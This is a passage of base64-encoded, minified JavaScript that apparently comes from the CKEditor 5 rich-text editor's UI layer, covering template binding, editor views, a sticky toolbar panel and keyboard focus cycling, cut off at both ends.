0O3JldHVybn1mb3IoY29uc3QgbiBpbiBlLmF0dHJpYnV0ZXMpe2NvbnN0IGk9ZS5hdHRyaWJ1dGVzW25dO2lmKGk9PT1udWxsKXt0LnJlbW92ZUF0dHJpYnV0ZShuKX1lbHNle3Quc2V0QXR0cmlidXRlKG4saSl9fWZvcihsZXQgbj0wO248ZS5jaGlsZHJlbi5sZW5ndGg7KytuKXt0aGlzLl9yZXZlcnRUZW1wbGF0ZUZyb21Ob2RlKHQuY2hpbGROb2Rlc1tuXSxlLmNoaWxkcmVuW25dKX19fV9zKHlrLGRzKTtjbGFzcyB4a3tjb25zdHJ1Y3Rvcih0KXtPYmplY3QuYXNzaWduKHRoaXMsdCl9Z2V0VmFsdWUodCl7Y29uc3QgZT10aGlzLm9ic2VydmFibGVbdGhpcy5hdHRyaWJ1dGVdO3JldHVybiB0aGlzLmNhbGxiYWNrP3RoaXMuY2FsbGJhY2soZSx0KTplfWFjdGl2YXRlQXR0cmlidXRlTGlzdGVuZXIodCxlLG4pe2NvbnN0IGk9KCk9PlRrKHQsZSxuKTt0aGlzLmVtaXR0ZXIubGlzdGVuVG8odGhpcy5vYnNlcnZhYmxlLCJjaGFuZ2U6Iit0aGlzLmF0dHJpYnV0ZSxpKTtyZXR1cm4oKT0+e3RoaXMuZW1pdHRlci5zdG9wTGlzdGVuaW5nKHRoaXMub2JzZXJ2YWJsZSwiY2hhbmdlOiIrdGhpcy5hdHRyaWJ1dGUsaSl9fX1jbGFzcyBEayBleHRlbmRzIHhre2FjdGl2YXRlRG9tRXZlbnRMaXN0ZW5lcih0LGUsbil7Y29uc3QgaT0odCxuKT0+e2lmKCFlfHxuLnRhcmdldC5tYXRjaGVzKGUpKXtpZih0eXBlb2YgdGhpcy5ldmVudE5hbWVPckZ1bmN0aW9uPT0iZnVuY3Rpb24iKXt0aGlzLmV2ZW50TmFtZU9yRnVuY3Rpb24obil9ZWxzZXt0aGlzLm9ic2VydmFibGUuZmlyZSh0aGlzLmV2ZW50TmFtZU9yRnVuY3Rpb24sbil9fX07dGhpcy5lbWl0dGVyLmxpc3RlblRvKG4ubm9kZSx0LGkpO3JldHVybigpPT57dGhpcy5lbWl0dGVyLnN0b3BMaXN0ZW5pbmcobi5ub2RlLHQsaSl9fX1jbGFzcyBFayBleHRlbmRzIHhre2dldFZhbHVlKHQpe2NvbnN0IGU9c3VwZXIuZ2V0VmFsdWUodCk7cmV0dXJuIEdrKGUpP2ZhbHNlOnRoaXMudmFsdWVJZlRydWV8fHRydWV9fWZ1bmN0aW9uIE1rKHQpe2lmKCF0KXtyZXR1cm4gZmFsc2V9aWYodC52YWx1ZSl7dD10LnZhbHVlfWlmKEFycmF5LmlzQXJyYXkodCkpe3JldHVybiB0LnNvbWUoTWspfWVsc2UgaWYodCBpbnN0YW5jZW9mIHhrKXtyZXR1cm4gdHJ1ZX1yZXR1cm4gZmFsc2V9ZnVuY3Rpb24gU2sodCxlKXtyZXR1cm4gdC5tYXAoKHQ9PntpZih0IGluc3RhbmNlb2YgeGspe3JldHVybiB0LmdldFZhbHVlKGUpfXJldHVybiB0fSkpfWZ1bmN0aW9uIFRrKHQsZSx7bm9kZTpufSl7bGV0IGk9U2sodCxuKTtpZih0Lmxlbmd0aD09MSYmdFswXWluc3RhbmNlb2YgRWspe2k9aVswXX1lbHNle2k9aS5yZWR1Y2UoVmssIiIpfWlmKEdrKGkpKXtlLnJlbW92ZSgpfWVsc2V7ZS5zZXQoaSl9fWZ1bmN0aW9uIElrKHQpe3JldHVybntzZXQoZSl7dC50ZXh0Q29udGVudD1lfSxyZW1vdmUoKXt0LnRleHRDb250ZW50PSIifX19ZnVuY3Rpb24gTmsodCxlLG4pe3JldHVybntzZXQoaSl7dC5zZXRBdHRyaWJ1dGVOUyhuLGUsaSl9LHJlbW92ZSgpe3QucmVtb3ZlQXR0cmlidXRlTlMobixlKX19fWZ1bmN0aW9uIEJrKHQsZSl7cmV0dXJue3NldChuKXt0LnN0eWxlW2VdPW59LHJlbW92ZSgpe3Quc3R5bGVbZV09bnVsbH19fWZ1bmN0aW9uIFBrKHQpe2NvbnN0IGU9S3IodCwodD0+e2lmKHQmJih0IGluc3RhbmNlb2YgeGt8fEtrKHQpfHxXayh0KXx8cWsodCkpKXtyZXR1cm4gdH19KSk7cmV0dXJuIGV9ZnVuY3Rpb24gemsodCl7aWYodHlwZW9mIHQ9PSJzdHJpbmciKXt0PVJrKHQpfWVsc2UgaWYodC50ZXh0KXtqayh0KX1pZih0Lm9uKXt0LmV2ZW50TGlzdGVuZXJzPU9rKHQub24pO2RlbGV0ZSB0Lm9ufWlmKCF0LnRleHQpe2lmKHQuYXR0cmlidXRlcyl7TGsodC5hdHRyaWJ1dGVzKX1jb25zdCBlPVtdO2lmKHQuY2hpbGRyZW4pe2lmKHFrKHQuY2hpbGRyZW4pKXtlLnB1c2godC5jaGlsZHJlbil9ZWxzZXtmb3IoY29uc3QgbiBvZiB0LmNoaWxkcmVuKXtpZihLayhuKXx8V2sobil8fFRkKG4pKXtlLnB1c2gobil9ZWxzZXtlLnB1c2gobmV3IHlrKG4pKX19fX10LmNoaWxkcmVuPWV9cmV0dXJuIHR9ZnVuY3Rpb24gTGsodCl7Zm9yKGNvbnN0IGUgaW4gdCl7aWYodFtlXS52YWx1ZSl7dFtlXS52YWx1ZT14cyh0W2VdLnZhbHVlKX1Gayh0LGUpfX1mdW5jdGlvbiBPayh0KXtmb3IoY29uc3QgZSBpbiB0KXtGayh0LGUpfXJldHVybiB0fWZ1bmN0aW9uIFJrKHQpe3JldHVybnt0ZXh0Olt0XX19ZnVuY3Rpb24gamsodCl7dC50ZXh0PXhzKHQudGV4dCl9ZnVuY3Rpb24gRmsodCxlKXt0W2VdPXhzKHRbZV0pfWZ1bmN0aW9uIFZrKHQsZSl7aWYoR2soZSkpe3JldHVybiB0fWVsc2UgaWYoR2sodCkpe3JldHVybiBlfWVsc2V7cmV0dXJuYCR7dH0gJHtlfWB9fWZ1bmN0aW9uIFVrKHQsZSl7Zm9yKGNvbnN0IG4gaW4gZSl7aWYodFtuXSl7dFtuXS5wdXNoKC4uLmVbbl0pfWVsc2V7dFtuXT1lW25dfX19ZnVuY3Rpb24gSGsodCxlKXtpZihlLmF0dHJpYnV0ZXMpe2lmKCF0LmF0dHJpYnV0ZXMpe3QuYXR0cmlidXRlcz17fX1Vayh0LmF0dHJpYnV0ZXMsZS5hdHRyaWJ1dGVzKX1pZihlLmV2ZW50TGlzdGVuZXJzKXtpZighdC5ldmVudExpc3RlbmVycyl7dC5ldmVudExpc3RlbmVycz17fX1Vayh0LmV2ZW50TGlzdGVuZXJzLGUuZXZlbnRMaXN0ZW5lcnMpfWlmKGUudGV4dCl7dC50ZXh0LnB1c2goLi4uZS50ZXh0KX1pZihlLmNoaWxkcmVuJiZlLmNoaWxkcmVuLmxlbmd0aCl7aWYodC5jaGlsZHJlbi5sZW5ndGghPWUuY2hpbGRyZW4ubGVuZ3RoKXt0aHJvdyBuZXcgc3NbImEiXSgidWktdGVtcGxhdGUtZXh0ZW5kLWNoaWxkcmVuLW1pc21hdGNoIix0KX1sZXQgbj0wO2Zvcihjb25zdCBpIG9mIGUuY2hpbGRyZW4pe0hrKHQuY2hpbGRyZW5bbisrXSxpKX19fWZ1bmN0aW9uIEdrKHQpe3JldHVybiF0JiZ0IT09MH1mdW5jdGlvbiBXayh0KXtyZXR1cm4gdCBpbnN0YW5jZW9mIHRifWZ1bmN0aW9uIEtrKHQpe3JldHVybiB0IGluc3RhbmNlb2YgeWt9ZnVuY3Rpb24gcWsodCl7cmV0dXJuIHQgaW5zdGFuY2VvZiBBa31mdW5jdGlvbiBZaygpe3JldHVybntjaGlsZHJlbjpbXSxiaW5kaW5nczpbXSxhdHRyaWJ1dGVzOnt9fX1mdW5jdGlvbiBRayh0KXtyZXR1cm4gdD09ImNsYXNzInx8dD09InN0eWxlIn12YXIgJGs9bigxMyk7dmFyIEprPXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07SmsuaW5zZXJ0PSJoZWFkIjtKay5zaW5nbGV0b249dHJ1ZTt2YXIgWms9cmsoKSgka1siYSJdLEprKTt2YXIgWGs9JGtbImEiXS5sb2NhbHN8fHt9O2NsYXNzIHRie2NvbnN0cnVjdG9yKHQpe3RoaXMuZWxlbWVudD1udWxsO3RoaXMuaXNSZW5kZXJlZD1mYWxzZTt0aGlzLmxvY2FsZT10O3RoaXMudD10JiZ0LnQ7dGhpcy5fdmlld0NvbGxlY3Rpb25zPW5ldyB2czt0aGlzLl91bmJvdW5kQ2hpbGRyZW49dGhpcy5jcmVhdGVDb2xsZWN0aW9uKCk7dGhpcy5fdmlld0NvbGxlY3Rpb25zLm9uKCJhZGQiLCgoZSxuKT0+e24ubG9jYWxlPXR9KSk7dGhpcy5kZWNvcmF0ZSgicmVuZGVyIil9Z2V0IGJpbmRUZW1wbGF0ZSgpe2lmKHRoaXMuX2JpbmRUZW1wbGF0ZSl7cmV0dXJuIHRoaXMuX2JpbmRUZW1wbGF0ZX1yZXR1cm4gdGhpcy5fYmluZFRlbXBsYXRlPXlrLmJpbmQodGhpcyx0aGlzKX1jcmVhdGVDb2xsZWN0aW9uKHQpe2NvbnN0IGU9bmV3IEFrKHQpO3RoaXMuX3ZpZXdDb2xsZWN0aW9ucy5hZGQoZSk7cmV0dXJuIGV9cmVnaXN0ZXJDaGlsZCh0KXtpZighQXModCkpe3Q9W3RdfWZvcihjb25zdCBlIG9mIHQpe3RoaXMuX3VuYm91bmRDaGlsZHJlbi5hZGQoZSl9fWRlcmVnaXN0ZXJDaGlsZCh0KXtpZighQXModCkpe3Q9W3RdfWZvcihjb25zdCBlIG9mIHQpe3RoaXMuX3VuYm91bmRDaGlsZHJlbi5yZW1vdmUoZSl9fXNldFRlbXBsYXRlKHQpe3RoaXMudGVtcGxhdGU9bmV3IHlrKHQpfWV4dGVuZFRlbXBsYXRlKHQpe3lrLmV4dGVuZCh0aGlzLnRlbXBsYXRlLHQpfXJlbmRlcigpe2lmKHRoaXMuaXNSZW5kZXJlZCl7dGhyb3cgbmV3IHNzWyJhIl0oInVpLXZpZXctcmVuZGVyLWFscmVhZHktcmVuZGVyZWQiLHRoaXMpfWlmKHRoaXMudGVtcGxhdGUpe3RoaXMuZWxlbWVudD10aGlzLnRlbXBsYXRlLnJlbmRlcigpO3RoaXMucmVnaXN0ZXJDaGlsZCh0aGlzLnRlbXBsYXRlLmdldFZpZXdzKCkpfXRoaXMuaXNSZW5kZXJlZD10cnVlfWRlc3Ryb3koKXt0aGlzLnN0b3BMaXN0ZW5pbmcoKTt0aGlzLl92aWV3Q29sbGVjdGlvbnMubWFwKCh0PT50LmRlc3Ryb3koKSkpO2lmKHRoaXMudGVtcGxhdGUmJnRoaXMudGVtcGxhdGUuX3JldmVydERhdGEpe3RoaXMudGVtcGxhdGUucmV2ZXJ0KHRoaXMuZWxlbWVudCl9fX1fcyh0YixKZCk7X3ModGIsSmMpO3ZhciBlYj0iW29iamVjdCBTdHJpbmddIjtmdW5jdGlvbiBuYih0KXtyZXR1cm4gdHlwZW9mIHQ9PSJzdHJpbmcifHwhUWUodCkmJkQodCkmJkModCk9PWVifXZhciBpYj1uYjtmdW5jdGlvbiBvYih0LGUsbj17fSxpPVtdKXtjb25zdCBvPW4mJm4ueG1sbnM7Y29uc3Qgcj1vP3QuY3JlYXRlRWxlbWVudE5TKG8sZSk6dC5jcmVhdGVFbGVtZW50KGUpO2Zvcihjb25zdCB0IGluIG4pe3Iuc2V0QXR0cmlidXRlKHQsblt0XSl9aWYoaWIoaSl8fCFBcyhpKSl7aT1baV19Zm9yKGxldCBlIG9mIGkpe2lmKGliKGUpKXtlPXQuY3JlYXRlVGV4dE5vZGUoZSl9ci5hcHBlbmRDaGlsZChlKX1yZXR1cm4gcn1jbGFzcyByYiBleHRlbmRzIEFre2NvbnN0cnVjdG9yKHQsZT1bXSl7c3VwZXIoZSk7dGhpcy5sb2NhbGU9dH1hdHRhY2hUb0RvbSgpe3RoaXMuX2JvZHlDb2xsZWN0aW9uQ29udGFpbmVyPW5ldyB5ayh7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1yZXNldF9hbGwiLCJjay1ib2R5IiwiY2stcm91bmRlZC1jb3JuZXJzIl0sZGlyOnRoaXMubG9jYWxlLnVpTGFuZ3VhZ2VEaXJlY3Rpb259LGNoaWxkcmVuOnRoaXN9KS5yZW5kZXIoKTtsZXQgdD1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuY2stYm9keS13cmFwcGVyIik7aWYoIXQpe3Q9b2IoZG9jdW1lbnQsImRpdiIse2NsYXNzOiJjay1ib2R5LXdyYXBwZXIifSk7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZCh0KX10LmFwcGVuZENoaWxkKHRoaXMuX2JvZHlDb2xsZWN0aW9uQ29udGFpbmVyKX1kZXRhY2hGcm9tRG9tKCl7c3VwZXIuZGVzdHJveSgpO2lmKHRoaXMuX2JvZHlDb2xsZWN0aW9uQ29udGFpbmVyKXt0aGlzLl9ib2R5Q29sbGVjdGlvbkNvbnRhaW5lci5yZW1vdmUoKX1jb25zdCB0PWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5jay1ib2R5LXdyYXBwZXIiKTtpZih0JiZ0LmNoaWxkRWxlbWVudENvdW50PT0wKXt0LnJlbW92ZSgpfX19dmFyIHNiPW4oMTQpO3ZhciBhYj17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O2FiLmluc2VydD0iaGVhZCI7YWIuc2luZ2xldG9uPXRydWU7dmFyIGNiPXJrKCkoc2JbImEiXSxhYik7dmFyIGxiPXNiWyJhIl0ubG9jYWxzfHx7fTtjbGFzcyBkYiBleHRlbmRzIHRie2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3RoaXMuYm9keT1uZXcgcmIodCl9cmVuZGVyKCl7c3VwZXIucmVuZGVyKCk7dGhpcy5ib2R5LmF0dGFjaFRvRG9tKCl9ZGVzdHJveSgpe3RoaXMuYm9keS5kZXRhY2hGcm9tRG9tKCk7cmV0dXJuIHN1cGVyLmRlc3Ryb3koKX19dmFyIHViPW4oMTUpO3ZhciBoYj17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O2hiLmluc2VydD0iaGVhZCI7aGIuc2luZ2xldG9uPXRydWU7dmFyIGZiPXJrKCkodWJbImEiXSxoYik7dmFyIG1iPXViWyJhIl0ubG9jYWxzfHx7fTtjbGFzcyBnYiBleHRlbmRzIHRie2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3RoaXMuc2V0KCJ0ZXh0Iik7dGhpcy5zZXQoImZvciIpO3RoaXMuaWQ9YGNrLWVkaXRvcl9fbGFiZWxfJHtucygpfWA7Y29uc3QgZT10aGlzLmJpbmRUZW1wbGF0ZTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6ImxhYmVsIixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2stbGFiZWwiXSxpZDp0aGlzLmlkLGZvcjplLnRvKCJmb3IiKX0sY2hpbGRyZW46W3t0ZXh0OmUudG8oInRleHQiKX1dfSl9fWNsYXNzIHBiIGV4dGVuZHMgZGJ7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy50b3A9dGhpcy5jcmVhdGVDb2xsZWN0aW9uKCk7dGhpcy5tYWluPXRoaXMuY3JlYXRlQ29sbGVjdGlvbigpO3RoaXMuX3ZvaWNlTGFiZWxWaWV3PXRoaXMuX2NyZWF0ZVZvaWNlTGFiZWwoKTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLXJlc2V0IiwiY2stZWRpdG9yIiwiY2stcm91bmRlZC1jb3JuZXJzIl0scm9sZToiYXBwbGljYXRpb24iLGRpcjp0LnVpTGFuZ3VhZ2VEaXJlY3Rpb24sbGFuZzp0LnVpTGFuZ3VhZ2UsImFyaWEtbGFiZWxsZWRieSI6dGhpcy5fdm9pY2VMYWJlbFZpZXcuaWR9LGNoaWxkcmVuOlt0aGlzLl92b2ljZUxhYmVsVmlldyx7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1lZGl0b3JfX3RvcCIsImNrLXJlc2V0X2FsbCJdLHJvbGU6InByZXNlbnRhdGlvbiJ9LGNoaWxkcmVuOnRoaXMudG9wfSx7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1lZGl0b3JfX21haW4iXSxyb2xlOiJwcmVzZW50YXRpb24ifSxjaGlsZHJlbjp0aGlzLm1haW59XX0pfV9jcmVhdGVWb2ljZUxhYmVsKCl7Y29uc3QgdD10aGlzLnQ7Y29uc3QgZT1uZXcgZ2I7ZS50ZXh0PXQoIlJpY2ggVGV4dCBFZGl0b3IiKTtlLmV4dGVuZFRlbXBsYXRlKHthdHRyaWJ1dGVzOntjbGFzczoiY2stdm9pY2UtbGFiZWwifX0pO3JldHVybiBlfX1jbGFzcyBrYiBleHRlbmRzIHRie2NvbnN0cnVjdG9yKHQsZSxuKXtzdXBlcih0KTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLWNvbnRlbnQiLCJjay1lZGl0b3JfX2VkaXRhYmxlIiwiY2stcm91bmRlZC1jb3JuZXJzIl0sbGFuZzp0LmNvbnRlbnRMYW5ndWFnZSxkaXI6dC5jb250ZW50TGFuZ3VhZ2VEaXJlY3Rpb259fSk7dGhpcy5uYW1lPW51bGw7dGhpcy5zZXQoImlzRm9jdXNlZCIsZmFsc2UpO3RoaXMuX2VkaXRhYmxlRWxlbWVudD1uO3RoaXMuX2hhc0V4dGVybmFsRWxlbWVudD0hIXRoaXMuX2VkaXRhYmxlRWxlbWVudDt0aGlzLl9lZGl0aW5nVmlldz1lfXJlbmRlcigpe3N1cGVyLnJlbmRlcigpO2lmKHRoaXMuX2hhc0V4dGVybmFsRWxlbWVudCl7dGhpcy50ZW1wbGF0ZS5hcHBseSh0aGlzLmVsZW1lbnQ9dGhpcy5fZWRpdGFibGVFbGVtZW50KX1lbHNle3RoaXMuX2VkaXRhYmxlRWxlbWVudD10aGlzLmVsZW1lbnR9dGhpcy5vbigiY2hhbmdlOmlzRm9jdXNlZCIsKCgpPT50aGlzLl91cGRhdGVJc0ZvY3VzZWRDbGFzc2VzKCkpKTt0aGlzLl91cGRhdGVJc0ZvY3VzZWRDbGFzc2VzKCl9ZGVzdHJveSgpe2lmKHRoaXMuX2hhc0V4dGVybmFsRWxlbWVudCl7dGhpcy50ZW1wbGF0ZS5yZXZlcnQodGhpcy5fZWRpdGFibGVFbGVtZW50KX1zdXBlci5kZXN0cm95KCl9X3VwZGF0ZUlzRm9jdXNlZENsYXNzZXMoKXtjb25zdCB0PXRoaXMuX2VkaXRpbmdWaWV3O2lmKHQuaXNSZW5kZXJpbmdJblByb2dyZXNzKXtuKHRoaXMpfWVsc2V7ZSh0aGlzKX1mdW5jdGlvbiBlKGUpe3QuY2hhbmdlKChuPT57Y29uc3QgaT10LmRvY3VtZW50LmdldFJvb3QoZS5uYW1lKTtuLmFkZENsYXNzKGUuaXNGb2N1c2VkPyJjay1mb2N1c2VkIjoiY2stYmx1cnJlZCIsaSk7bi5yZW1vdmVDbGFzcyhlLmlzRm9jdXNlZD8iY2stYmx1cnJlZCI6ImNrLWZvY3VzZWQiLGkpfSkpfWZ1bmN0aW9uIG4oaSl7dC5vbmNlKCJjaGFuZ2U6aXNSZW5kZXJpbmdJblByb2dyZXNzIiwoKHQsbyxyKT0+e2lmKCFyKXtlKGkpfWVsc2V7bihpKX19KSl9fX1jbGFzcyBiYiBleHRlbmRzIGtie2NvbnN0cnVjdG9yKHQsZSxuKXtzdXBlcih0LGUsbik7dGhpcy5leHRlbmRUZW1wbGF0ZSh7YXR0cmlidXRlczp7cm9sZToidGV4dGJveCIsY2xhc3M6ImNrLWVkaXRvcl9fZWRpdGFibGVfaW5saW5lIn19KX1yZW5kZXIoKXtzdXBlci5yZW5kZXIoKTtjb25zdCB0PXRoaXMuX2VkaXRpbmdWaWV3O2NvbnN0IGU9dGhpcy50O3QuY2hhbmdlKChuPT57Y29uc3QgaT10LmRvY3VtZW50LmdldFJvb3QodGhpcy5uYW1lKTtuLnNldEF0dHJpYnV0ZSgiYXJpYS1sYWJlbCIsZSgiUmljaCBUZXh0IEVkaXRvciwgJTAiLHRoaXMubmFtZSksaSl9KSl9fWZ1bmN0aW9uIHdiKHQpe3JldHVybiBlPT5lK3R9dmFyIENiPW4oMTYpO3ZhciBBYj17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O0FiLmluc2VydD0iaGVhZCI7QWIuc2luZ2xldG9uPXRydWU7dmFyIF9iPXJrKCkoQ2JbImEiXSxBYik7dmFyIHZiPUNiWyJhIl0ubG9jYWxzfHx7fTtjb25zdCB5Yj13YigicHgiKTtjbGFzcyB4YiBleHRlbmRzIHRie2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO2NvbnN0IGU9dGhpcy5iaW5kVGVtcGxhdGU7dGhpcy5zZXQoImlzQWN0aXZlIixmYWxzZSk7dGhpcy5zZXQoImlzU3RpY2t5IixmYWxzZSk7dGhpcy5zZXQoImxpbWl0ZXJFbGVtZW50IixudWxsKTt0aGlzLnNldCgibGltaXRlckJvdHRvbU9mZnNldCIsNTApO3RoaXMuc2V0KCJ2aWV3cG9ydFRvcE9mZnNldCIsMCk7dGhpcy5zZXQoIl9tYXJnaW5MZWZ0IixudWxsKTt0aGlzLnNldCgiX2lzU3RpY2t5VG9UaGVMaW1pdGVyIixmYWxzZSk7dGhpcy5zZXQoIl9oYXNWaWV3cG9ydFRvcE9mZnNldCIsZmFsc2UpO3RoaXMuY29udGVudD10aGlzLmNyZWF0ZUNvbGxlY3Rpb24oKTt0aGlzLl9jb250ZW50UGFuZWxQbGFjZWhvbGRlcj1uZXcgeWsoe3RhZzoiZGl2IixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2stc3RpY2t5LXBhbmVsX19wbGFjZWhvbGRlciJdLHN0eWxlOntkaXNwbGF5OmUudG8oImlzU3RpY2t5IiwodD0+dD8iYmxvY2siOiJub25lIikpLGhlaWdodDplLnRvKCJpc1N0aWNreSIsKHQ9PnQ/eWIodGhpcy5fcGFuZWxSZWN0LmhlaWdodCk6bnVsbCkpfX19KS5yZW5kZXIoKTt0aGlzLl9jb250ZW50UGFuZWw9bmV3IHlrKHt0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLXN0aWNreS1wYW5lbF9fY29udGVudCIsZS5pZigiaXNTdGlja3kiLCJjay1zdGlja3ktcGFuZWxfX2NvbnRlbnRfc3RpY2t5IiksZS5pZigiX2lzU3RpY2t5VG9UaGVMaW1pdGVyIiwiY2stc3RpY2t5LXBhbmVsX19jb250ZW50X3N0aWNreV9ib3R0b20tbGltaXQiKV0sc3R5bGU6e3dpZHRoOmUudG8oImlzU3RpY2t5IiwodD0+dD95Yih0aGlzLl9jb250ZW50UGFuZWxQbGFjZWhvbGRlci5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKS53aWR0aCk6bnVsbCkpLHRvcDplLnRvKCJfaGFzVmlld3BvcnRUb3BPZmZzZXQiLCh0PT50P3liKHRoaXMudmlld3BvcnRUb3BPZmZzZXQpOm51bGwpKSxib3R0b206ZS50bygiX2lzU3RpY2t5VG9UaGVMaW1pdGVyIiwodD0+dD95Yih0aGlzLmxpbWl0ZXJCb3R0b21PZmZzZXQpOm51bGwpKSxtYXJnaW5MZWZ0OmUudG8oIl9tYXJnaW5MZWZ0Iil9fSxjaGlsZHJlbjp0aGlzLmNvbnRlbnR9KS5yZW5kZXIoKTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLXN0aWNreS1wYW5lbCJdfSxjaGlsZHJlbjpbdGhpcy5fY29udGVudFBhbmVsUGxhY2Vob2xkZXIsdGhpcy5fY29udGVudFBhbmVsXX0pfXJlbmRlcigpe3N1cGVyLnJlbmRlcigpO3RoaXMuX2NoZWNrSWZTaG91bGRCZVN0aWNreSgpO3RoaXMubGlzdGVuVG8oamQud2luZG93LCJzY3JvbGwiLCgoKT0+e3RoaXMuX2NoZWNrSWZTaG91bGRCZVN0aWNreSgpfSkpO3RoaXMubGlzdGVuVG8odGhpcywiY2hhbmdlOmlzQWN0aXZlIiwoKCk9Pnt0aGlzLl9jaGVja0lmU2hvdWxkQmVTdGlja3koKX0pKX1fY2hlY2tJZlNob3VsZEJlU3RpY2t5KCl7Y29uc3QgdD10aGlzLl9wYW5lbFJlY3Q9dGhpcy5fY29udGVudFBhbmVsLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpO2xldCBlO2lmKCF0aGlzLmxpbWl0ZXJFbGVtZW50KXt0aGlzLmlzU3RpY2t5PWZhbHNlfWVsc2V7ZT10aGlzLl9saW1pdGVyUmVjdD10aGlzLmxpbWl0ZXJFbGVtZW50LmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpO3RoaXMuaXNTdGlja3k9dGhpcy5pc0FjdGl2ZSYmZS50b3A8dGhpcy52aWV3cG9ydFRvcE9mZnNldCYmdGhpcy5fcGFuZWxSZWN0LmhlaWdodCt0aGlzLmxpbWl0ZXJCb3R0b21PZmZzZXQ8ZS5oZWlnaHR9aWYodGhpcy5pc1N0aWNreSl7dGhpcy5faXNTdGlja3lUb1RoZUxpbWl0ZXI9ZS5ib3R0b208dC5oZWlnaHQrdGhpcy5saW1pdGVyQm90dG9tT2Zmc2V0K3RoaXMudmlld3BvcnRUb3BPZmZzZXQ7dGhpcy5faGFzVmlld3BvcnRUb3BPZmZzZXQ9IXRoaXMuX2lzU3RpY2t5VG9UaGVMaW1pdGVyJiYhIXRoaXMudmlld3BvcnRUb3BPZmZzZXQ7dGhpcy5fbWFyZ2luTGVmdD10aGlzLl9pc1N0aWNreVRvVGhlTGltaXRlcj9udWxsOnliKC1qZC53aW5kb3cuc2Nyb2xsWCl9ZWxzZXt0aGlzLl9pc1N0aWNreVRvVGhlTGltaXRlcj1mYWxzZTt0aGlzLl9oYXNWaWV3cG9ydFRvcE9mZnNldD1mYWxzZTt0aGlzLl9tYXJnaW5MZWZ0PW51bGx9fX1jbGFzcyBEYntjb25zdHJ1Y3Rvcih0KXtPYmplY3QuYXNzaWduKHRoaXMsdCk7aWYodC5hY3Rpb25zJiZ0LmtleXN0cm9rZUhhbmRsZXIpe2Zvcihjb25zdCBlIGluIHQuYWN0aW9ucyl7bGV0IG49dC5hY3Rpb25zW2VdO2lmKHR5cGVvZiBuPT0ic3RyaW5nIil7bj1bbl19Zm9yKGNvbnN0IGkgb2Ygbil7dC5rZXlzdHJva2VIYW5kbGVyLnNldChpLCgodCxuKT0+e3RoaXNbZV0oKTtuKCl9KSl9fX19Z2V0IGZpcnN0KCl7cmV0dXJuIHRoaXMuZm9jdXNhYmxlcy5maW5kKEViKXx8bnVsbH1nZXQgbGFzdCgpe3JldHVybiB0aGlzLmZvY3VzYWJsZXMuZmlsdGVyKEViKS5zbGljZSgtMSlbMF18fG51bGx9Z2V0IG5leHQoKXtyZXR1cm4gdGhpcy5fZ2V0Rm9jdXNhYmxlSXRlbSgxKX1nZXQgcHJldmlvdXMoKXtyZXR1cm4gdGhpcy5fZ2V0Rm9jdXNhYmxlSXRlbSgtMSl9Z2V0IGN1cnJlbnQoKXtsZXQgdD1udWxsO2lmKHRoaXMuZm9jdXNUcmFja2VyLmZvY3VzZWRFbGVtZW50PT09bnVsbCl7cmV0dXJuIG51bGx9dGhpcy5mb2N1c2FibGVzLmZpbmQoKChlLG4pPT57Y29uc3QgaT1lLmVsZW1lbnQ9PT10aGlzLmZvY3VzVHJhY2tlci5mb2N1c2VkRWxlbWVudDtpZihpKXt0PW59cmV0dXJuIGl9KSk7cmV0dXJuIHR9Zm9jdXNGaXJzdCgpe3RoaXMuX2ZvY3VzKHRoaXMuZmlyc3QpfWZvY3VzTGFzdCgpe3RoaXMuX2ZvY3VzKHRoaXMubGFzdCl9Zm9jdXNOZXh0KCl7dGhpcy5fZm9jdXModGhpcy5uZXh0KX1mb2N1c1ByZXZpb3VzKCl7dGhpcy5fZm9jdXModGhpcy5wcmV2aW91cyl9X2ZvY3VzKHQpe2lmKHQpe3QuZm9jdXMoKX19X2dldEZvY3VzYWJsZUl0ZW0odCl7Y29uc3QgZT10aGlzLmN1cnJlbnQ7Y29uc3Qgbj10aGlzLmZvY3VzYWJsZXMubGVuZ3RoO2lmKCFuKXtyZXR1cm4gbnVsbH1pZihlPT09bnVsbCl7cmV0dXJuIHRoaXNbdD09PTE/ImZpcnN0IjoibGFzdCJdfWxldCBpPShlK24rdCklbjtkb3tjb25zdCBlPXRoaXMuZm9jdXNhYmxlcy5nZXQoaSk7aWYoRWIoZSkpe3JldHVybiBlfWk9KGkrbit0KSVufXdoaWxlKGkhPT1lKTtyZXR1cm4gbnVsbH19ZnVuY3Rpb24gRWIodCl7cmV0dXJuISEodC5mb2N1cyYmamQud2luZG93L